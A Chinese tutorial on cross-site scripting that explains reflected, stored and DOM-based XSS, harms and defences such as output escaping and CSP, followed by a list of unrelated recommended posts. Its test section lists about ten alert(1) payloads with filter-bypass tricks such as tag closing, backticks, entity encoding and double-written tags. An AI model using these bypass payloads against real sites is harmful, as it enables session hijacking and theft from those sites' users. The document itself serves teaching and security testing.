常见漏洞之XSS

一、XSS简介

XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的网络攻击方式,通过在网页中注入恶意脚本,当其他用户浏览这些网页时,这些嵌入的恶意脚本会在其浏览器上执行,从而进行各种恶意操作。

二、XSS的原理和类型

  1. 原理:XSS攻击的基本思想是利用Web应用程序对用户输入的安全检查不足,将恶意代码注入到Web页面中。当其他用户浏览这些被篡改的页面时,恶意脚本就会在他们浏览器上执行。
  2. 反射型XSS:这种类型的XSS是通过将恶意脚本附加到URL参数中实现的。当用户访问这些包含恶意脚本的链接时,浏览器会执行这些脚本一次,之后不再执行。因此,它被称为非持久型XSS。
  3. 存储型XSS:这种XSS类型更为危险,因为它将恶意脚本永久存储在Web服务器上(如数据库或文件系统)。每当用户访问这些被篡改的页面时,都会加载并执行这些恶意脚本。
  4. 基于DOM的XSS:此类XSS不需要与服务器交互,而是在用户的浏览器内部通过JavaScript处理DOM(Document Object Model)时触发。攻击者通过更改DOM环境来执行恶意脚本。

三、XSS测试方式

1. div标签,常规插入

<script>alert(1)</script>

<img src="" οnerrοr=alert(1)>

2. textarea标签 闭合该后插入

</textarea><script>alert(1)</script><textarea>

</textarea><img src="" οnerrοr=alert(1)>

3.内容放在标签内,">闭合标签

"><script>alert(1)</script>

4. 过滤(),使用反单引号`

<script>alert`1`</script>

5. 过滤括号()和反单引号` 使用html实体编码来绕过

<img src="" οnerrοr=alert(1)>

6. 闭合注释符

--!><script>alert(1)</script>

7. 正则过滤auto/on开头及=结尾 和 > 换行绕过匹配

type="image" src="" onerror

=alert(1)

8. 换行或空格绕过正则匹配

</style ><script>alert(1)</script>

9.双写绕过

<sscriptcript>alert(1)</sscriptcript>

10. 转义符绕过

\");alert(1);//

四、XSS的危害

  1. 窃取信息:通过执行恶意脚本,攻击者可以窃取用户的Cookie、Session Tokens及其他敏感信息。
  2. 会话劫持:攻击者通过窃取Cookie可以冒充用户身份,执行未经授权的操作。
  3. 网络钓鱼:攻击者可以修改页面内容,重定向用户到假冒网站,诱导用户输入敏感数据。
  4. 传播恶意软件:通过XSS漏洞,攻击者可以在用户浏览器中植入恶意软件如木马、勒索软件等。
  5. 篡改网页内容:攻击者可以通过XSS篡改网页内容,比如修改路由器配置信息、繁殖XSS蠕虫等。

五、XSS的防御措施

  • 输入过滤:对用户提交的所有数据进行严格的验证和过滤,屏蔽掉可能导致XSS攻击的内容。
  • 输出转义:在服务器端输出用户提交的数据前,应对其做适当的转义处理,确保特殊字符不会被解析为脚本标签。
  • 使用CSP:通过设置HTTP的Content Security Policy响应头,限制哪些资源可以被加载和执行,有效防止恶意脚本注入。
  • HttpOnly Cookie:设置Cookie的HttpOnly属性,防止JavaScript读取Cookie,降低信息被盗用的风险。
  • 渗透测试:对Web应用程序定期进行渗透测试,发现并修补潜在的XSS漏洞
相关推荐
skywalk81638 小时前
把 去也网站 从 Ubuntu 搬到 FreeBSD:一次 Service Jail + nginx 的部署实录
linux·运维·nginx·ubuntu·freebsd
翔云1234569 小时前
RocksDB中,客户端每写入一次数据,需要访问几次磁盘
运维·数据库·mysql
风骏时光牛马9 小时前
生成一个移动端标题,只需要一个标题,不需要其他的任何文本。
前端
IT_陈寒10 小时前
Redis雪崩把我坑惨了,这是5年经验的教训
前端·人工智能·后端
SameX10 小时前
HarmonyOS ArkUI List 的侧滑删除 用 ListItem 的 swipeAction + endIcon 的做法
前端
心祭丫丫10 小时前
【每天一个 Python 小案例17】Python 实现通讯录
开发语言·人工智能·笔记·python·学习
爱莉希雅&&&10 小时前
GitLab 完整学习笔记
linux·运维·服务器
露天赏雪10 小时前
第3篇:Sentinel熔断降级实战:大模型接口抖动时的服务兜底方案
java·开发语言·人工智能·spring boot·spring·servlet·sentinel
山东科恩光电11 小时前
安全触边在游乐园设施与公共交通车门防夹伤系统中的选型安装及维护要点
安全
小杨爱科普11 小时前
制造业上自动化改造,改造部分的专利到底归谁
运维·经验分享·自动化